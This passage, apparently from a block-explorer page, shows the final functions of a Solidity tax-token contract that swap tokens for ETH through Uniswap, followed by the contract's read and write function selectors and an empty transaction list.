            0,
            0,
            owner(),
            block.timestamp
        );

        swapEnabled = true;
        tradingOpen = true;

        IERC20(_uniswapPair).approve(address(uniswapV2Router), type(uint).max);
    }

    function swapTokensForExactETH(uint256 tokenAmount) private swapLock {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }
    receive() external payable {}
}

Read Contract

_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 7 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
assistETH 0x00bbdb3d
No parameters
openTrading 0xc9567bf9
No parameters
renounceOwnership 0x715018a6
No parameters
setTaxWallet 0xea414b28
address _wallet
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address